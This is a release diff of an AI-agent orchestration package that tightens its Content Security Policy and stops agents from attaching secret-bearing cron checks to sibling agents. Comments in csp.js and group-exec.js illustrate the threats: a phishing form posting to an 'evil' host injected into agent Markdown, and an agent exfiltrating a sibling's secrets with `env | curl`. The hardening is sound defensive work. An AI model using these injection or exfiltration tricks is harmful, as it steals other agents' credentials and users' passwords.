shadok-ai 0.17.28 → 0.17.30

package/README.md

@@ -168,7 +168,9 @@ Enter to skip; you can add it later from the web UI).
   model*: prints nothing → nothing to report, the agent is never woken and the
   run costs **zero tokens**; prints something → that output is prepended to the
   prompt and the agent runs. A watcher that is quiet most of the day costs
-  nothing most of the day.
+  nothing most of the day. The guard runs with the target agent's profile
+  secrets, so an agent may put one only on itself (a person may guard any agent
+  they can drive).
 - **Agents that report back** — an agent that launches other agents is told when
   each one finishes, blocks on a question, or dies. It hears about **its own**
   children and nothing else, so a busy channel never wakes it. What arrives is

package/context/scheduler-skill/SKILL.md

@@ -48,6 +48,9 @@ password, no cookie. A credential the check needs goes in the profile.
 
 You can only schedule on an agent you may drive: on a multi-tenant instance,
 yourself, a sibling of your own group, or a shared (public) agent.
+A cron with a `check`, though, may only target YOURSELF (the check runs with the
+target's secrets, so a guard on a sibling would hand you its credentials): the
+server answers 403. A check-less cron on a sibling is fine.
 
 So reference a secret by name (`$MY_API_KEY`) and trust it: never hardcode a
 value into a check script, and never try to source a shell profile to get one.

package/dist/csp.d.ts

@@ -39,6 +39,12 @@ export declare const NONCE_PLACEHOLDER = "__CSP_NONCE__";
  *   `ws://` on the same host and port.
  * - `base-uri`/`object-src`/`frame-ancestors` at `none`: nothing to rewrite,
  *   nothing to embed, and no clickjacking on a UI that drives agents.
+ * - `form-action 'none'`: no form on any page we serve submits natively — the
+ *   login page and the cockpit both handle `submit` in script and `fetch`. So a
+ *   `<form action="https://evil/…">` smuggled into agent Markdown (a fake
+ *   "session expired, re-enter your password") cannot send what was typed off
+ *   the origin, even if the sanitiser ever lets one through. Not `'self'`: an
+ *   injected form posting to our own routes would be a CSRF from inside.
  */
 export declare function cspHeader(nonce: string): string;
 /** Replace every marker with this request's nonce. */

package/dist/csp.js

@@ -39,6 +39,12 @@ export const NONCE_PLACEHOLDER = "__CSP_NONCE__";
  *   `ws://` on the same host and port.
  * - `base-uri`/`object-src`/`frame-ancestors` at `none`: nothing to rewrite,
  *   nothing to embed, and no clickjacking on a UI that drives agents.
+ * - `form-action 'none'`: no form on any page we serve submits natively — the
+ *   login page and the cockpit both handle `submit` in script and `fetch`. So a
+ *   `<form action="https://evil/…">` smuggled into agent Markdown (a fake
+ *   "session expired, re-enter your password") cannot send what was typed off
+ *   the origin, even if the sanitiser ever lets one through. Not `'self'`: an
+ *   injected form posting to our own routes would be a CSRF from inside.
  */
 export function cspHeader(nonce) {
     return [
@@ -51,6 +57,7 @@ export function cspHeader(nonce) {
         "base-uri 'none'",
         "object-src 'none'",
         "frame-ancestors 'none'",
+        "form-action 'none'",
     ].join("; ");
 }
 /** Replace every marker with this request's nonce. */

package/dist/csp.js.map

@@ -1 +1 @@
-{"version":3,"file":"csp.js","sourceRoot":"","sources":["../src/csp.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;GAYG;AAEH;;;;;;;;;GASG;AACH,MAAM,CAAC,MAAM,iBAAiB,GAAG,eAAe,CAAC;AAEjD;;;;;;;;;;;;;;;;;GAiBG;AACH,MAAM,UAAU,SAAS,CAAC,KAAa;IACrC,OAAO;QACL,oBAAoB;QACpB,4BAA4B,KAAK,GAAG;QACpC,kCAAkC;QAClC,sBAAsB;QACtB,iBAAiB;QACjB,oBAAoB;QACpB,iBAAiB;QACjB,mBAAmB;QACnB,wBAAwB;KACzB,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;AACf,CAAC;AAED,sDAAsD;AACtD,MAAM,UAAU,WAAW,CAAC,IAAY,EAAE,KAAa;IACrD,OAAO,IAAI,CAAC,KAAK,CAAC,iBAAiB,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;AACnD,CAAC;AAED;;;;;;;;;;;GAWG;AACH,MAAM,CAAC,MAAM,yBAAyB,GAAG,aAAa,CAAC;AAEvD,MAAM,UAAU,kBAAkB,CAAC,IAAY,EAAE,OAAe;IAC9D,8EAA8E;IAC9E,0EAA0E;IAC1E,OAAO,IAAI,CAAC,KAAK,CAAC,yBAAyB,CAAC,CAAC,IAAI,CAAC,kBAAkB,CAAC,OAAO,CAAC,CAAC,CAAC;AACjF,CAAC;AAED,MAAM,CAAC,MAAM,wBAAwB,GAAG,kBAAkB,CAAC;AAE3D,gFAAgF;AAChF,iFAAiF;AACjF,iFAAiF;AACjF,4EAA4E;AAC5E,gFAAgF;AAChF,8CAA8C;AAC9C,MAAM,UAAU,iBAAiB,CAAC,IAAY,EAAE,GAAW;IACzD,OAAO,IAAI,CAAC,KAAK,CAAC,wBAAwB,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,OAAO,CAAC,gBAAgB,EAAE,EAAE,CAAC,CAAC,CAAC;AACtF,CAAC"}
+{"version":3,"file":"csp.js","sourceRoot":"","sources":["../src/csp.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;GAYG;AAEH;;;;;;;;;GASG;AACH,MAAM,CAAC,MAAM,iBAAiB,GAAG,eAAe,CAAC;AAEjD;;;;;;;;;;;;;;;;;;;;;;;GAuBG;AACH,MAAM,UAAU,SAAS,CAAC,KAAa;IACrC,OAAO;QACL,oBAAoB;QACpB,4BAA4B,KAAK,GAAG;QACpC,kCAAkC;QAClC,sBAAsB;QACtB,iBAAiB;QACjB,oBAAoB;QACpB,iBAAiB;QACjB,mBAAmB;QACnB,wBAAwB;QACxB,oBAAoB;KACrB,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;AACf,CAAC;AAED,sDAAsD;AACtD,MAAM,UAAU,WAAW,CAAC,IAAY,EAAE,KAAa;IACrD,OAAO,IAAI,CAAC,KAAK,CAAC,iBAAiB,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;AACnD,CAAC;AAED;;;;;;;;;;;GAWG;AACH,MAAM,CAAC,MAAM,yBAAyB,GAAG,aAAa,CAAC;AAEvD,MAAM,UAAU,kBAAkB,CAAC,IAAY,EAAE,OAAe;IAC9D,8EAA8E;IAC9E,0EAA0E;IAC1E,OAAO,IAAI,CAAC,KAAK,CAAC,yBAAyB,CAAC,CAAC,IAAI,CAAC,kBAAkB,CAAC,OAAO,CAAC,CAAC,CAAC;AACjF,CAAC;AAED,MAAM,CAAC,MAAM,wBAAwB,GAAG,kBAAkB,CAAC;AAE3D,gFAAgF;AAChF,iFAAiF;AACjF,iFAAiF;AACjF,4EAA4E;AAC5E,gFAAgF;AAChF,8CAA8C;AAC9C,MAAM,UAAU,iBAAiB,CAAC,IAAY,EAAE,GAAW;IACzD,OAAO,IAAI,CAAC,KAAK,CAAC,wBAAwB,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,OAAO,CAAC,gBAAgB,EAAE,EAAE,CAAC,CAAC,CAAC;AACtF,CAAC"}

package/dist/group-exec.d.ts

@@ -9,7 +9,7 @@ import type { DeploymentMode } from "./capability.js";
  * named. Pure, so every decision here is tested without a server, a root
  * account or a provisioned OS user (none of which a test machine has).
  *
- * Invariant 58.
+ * Invariant 60.
  */
 /**
  * May this caller schedule / edit / delete a cron on (or otherwise act for)
@@ -40,6 +40,30 @@ export declare function mayActOnSession(input: {
     }[];
     groups: readonly Group[];
 }): boolean;
+/**
+ * May this caller give the cron it is writing this `check`? A guard runs with
+ * the TARGET agent's profile secrets in its env, so an agent that could put a
+ * guard on a SIBLING would read the sibling's secrets (`env | curl …`) — in
+ * mono-tenant every agent is commons, so `mayActOnSession` lets it aim at any
+ * of them. An agent therefore guards only ITSELF; a person (no agent key) may
+ * guard any agent they may drive, which `mayActOnSession` already decided.
+ *
+ * Only a check the agent SETS or MOVES is refused: a cron that already carried
+ * this exact check on this exact target (written by a person) can still have
+ * its prompt or schedule edited by the agent, since that hands it nothing new.
+ * Repointing a guarded cron at a sibling, or changing the guard, is a new grant.
+ * Pure; invariant 60.
+ */
+export declare function cronCheckAllowed(input: {
+    /** The calling agent's session id (per-session key), null for a person. */
+    agentId: string | null;
+    targetId: string;
+    check: string | undefined;
+    existing?: {
+        sessionId: string;
+        check?: string;
+    };
+}): boolean;
 /**
  * The group-level half of `mayActOnSession`, reused where the thing asked for
  * is a GROUP's rather than a session's (a media subdirectory).

package/dist/group-exec.js

@@ -9,7 +9,7 @@ import { canSeeGroup } from "./groups.js";
  * named. Pure, so every decision here is tested without a server, a root
  * account or a provisioned OS user (none of which a test machine has).
  *
- * Invariant 58.
+ * Invariant 60.
  */
 // ── Who may act on a session ────────────────────────────────────────────────
 /**
@@ -36,6 +36,30 @@ export function mayActOnSession(input) {
         return false;
     return mayReachGroup({ ...input, group: ch.group ?? null, self: input.agent?.id === input.targetId });
 }
+/**
+ * May this caller give the cron it is writing this `check`? A guard runs with
+ * the TARGET agent's profile secrets in its env, so an agent that could put a
+ * guard on a SIBLING would read the sibling's secrets (`env | curl …`) — in
+ * mono-tenant every agent is commons, so `mayActOnSession` lets it aim at any
+ * of them. An agent therefore guards only ITSELF; a person (no agent key) may
+ * guard any agent they may drive, which `mayActOnSession` already decided.
+ *
+ * Only a check the agent SETS or MOVES is refused: a cron that already carried
+ * this exact check on this exact target (written by a person) can still have
+ * its prompt or schedule edited by the agent, since that hands it nothing new.
+ * Repointing a guarded cron at a sibling, or changing the guard, is a new grant.
+ * Pure; invariant 60.
+ */
+export function cronCheckAllowed(input) {
+    if (!input.agentId)
+        return true;
+    if (!input.check)
+        return true;
+    if (input.targetId === input.agentId)
+        return true;
+    const e = input.existing;
+    return !!e && e.sessionId === input.targetId && e.check === input.check;
+}
 /**
  * The group-level half of `mayActOnSession`, reused where the thing asked for
  * is a GROUP's rather than a session's (a media subdirectory).

package/dist/group-exec.js.map

@@ -1 +1 @@
-{"version":3,"file":"group-exec.js","sourceRoot":"","sources":["../src/group-exec.ts"],"names":[],"mappings":"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"}
+{"version":3,"file":"group-exec.js","sourceRoot":"","sources":["../src/group-exec.ts"],"names":[],"mappings":"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"}

package/dist/media-scope.d.ts

@@ -14,7 +14,7 @@
  * group's OS user's group>, mode 2750. Only root writes there; only that
  * group's user (and root) reads. Mono-tenant keeps its single flat directory.
  *
- * Invariant 58.
+ * Invariant 60.
  */
 /** Prefix of a group media subdirectory; a flat (legacy / mono) file never
  *  sits in a directory with this shape, so the two cannot be confused. */

package/dist/media-scope.js

@@ -17,7 +17,7 @@ import { MAIN_GROUP_ID } from "./groups.js";
  * group's OS user's group>, mode 2750. Only root writes there; only that
  * group's user (and root) reads. Mono-tenant keeps its single flat directory.
  *
- * Invariant 58.
+ * Invariant 60.
  */
 /** Prefix of a group media subdirectory; a flat (legacy / mono) file never
  *  sits in a directory with this shape, so the two cannot be confused. */

package/dist/server.js

@@ -51,7 +51,7 @@ import { cancelPairingCode, issuePairingCode, pairingStatus } from "./tg-pairing
 import { migrateTgBindings } from "./channels.js";
 import { viewerFor, canResumeAs, canRestartInto, canSeeGroup, membershipVerdict, canSeeSession, spawnGroupFor, listableGroups, visibleChannels, secretOwnGroupIds, ledgerGroupsFor, groupsPutFlow, privateGroupFor, newPrivateGroup, accountDeleteGroups, MAIN_GROUP_ID, } from "./groups.js";
 import { resolveSpawnIsolation, osUserFor, homeForUser, runAsUser, provisionGroupUser, teardownGroupUser, reconcileGroupProvisioning, DEFAULT_HOME_BASE, createGroupFlow, deleteGroupFlow, SHARED_POT_GROUP, DEFAULT_SHARED_POT_PATH, } from "./osusers.js";
-import { mayActOnSession, mayReachGroup, osUserForChannelGroup, cronCheckEnv, cronCheckCommand, statAsUserArgv, parseStatOutput, readAsUserArgv, sameOfferedFile, } from "./group-exec.js";
+import { mayActOnSession, cronCheckAllowed, mayReachGroup, osUserForChannelGroup, cronCheckEnv, cronCheckCommand, statAsUserArgv, parseStatOutput, readAsUserArgv, sameOfferedFile, } from "./group-exec.js";
 import { mediaDirForGroup, mediaFileMode, parseMediaRequest, groupForMediaKey, passwdGid, mediaDirSpec, mediaDirTrusted, mediaServable, } from "./media-scope.js";
 import { runPrivileged, TREE_OP_TIMEOUT_MS } from "./privileged.js";
 import { HOME_SKILLS_BASE, rewriteSkillsBase } from "./skill-paths.js";
@@ -2258,6 +2258,10 @@ app.post("/crons", (req, res) => {
             ? true // re-arm: a spent one-shot being re-edited is enabled:false
             : (existing?.enabled ?? true);
     const check = typeof b.check === "string" && b.check.trim() ? String(b.check).trim() : undefined;
+    // The guard runs with the TARGET's profile secrets: an agent may only guard
+    // itself, or it could read a sibling's secrets through `env` (invariant 60).
